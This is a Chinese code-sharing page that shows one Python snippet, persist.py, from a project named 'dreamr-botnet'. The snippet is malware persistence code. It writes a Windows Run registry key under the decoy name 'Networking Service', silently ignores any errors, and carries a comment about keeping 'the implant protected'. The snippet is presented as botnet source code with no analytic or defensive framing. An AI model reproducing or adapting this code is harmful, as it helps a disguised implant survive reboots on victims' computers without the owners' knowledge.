persist.py 文件源码

python
阅读 29 收藏 0 点赞 0 评论 0

项目:dreamr-botnet 作者: YinAndYangSecurityAwareness 项目源码 文件源码
def __init__(self):
        threading.Thread.__init__(self)
        try:
            with _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", _winreg.KEY_SET_VALUE) as reg:
                _winreg.SetValueEx(reg, "Networking Service", 0, _winreg.REG_BINARY, BinaryLocation)
                reg.Close()
        except:
            pass

    # Do things over and over to keep the implant protected
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号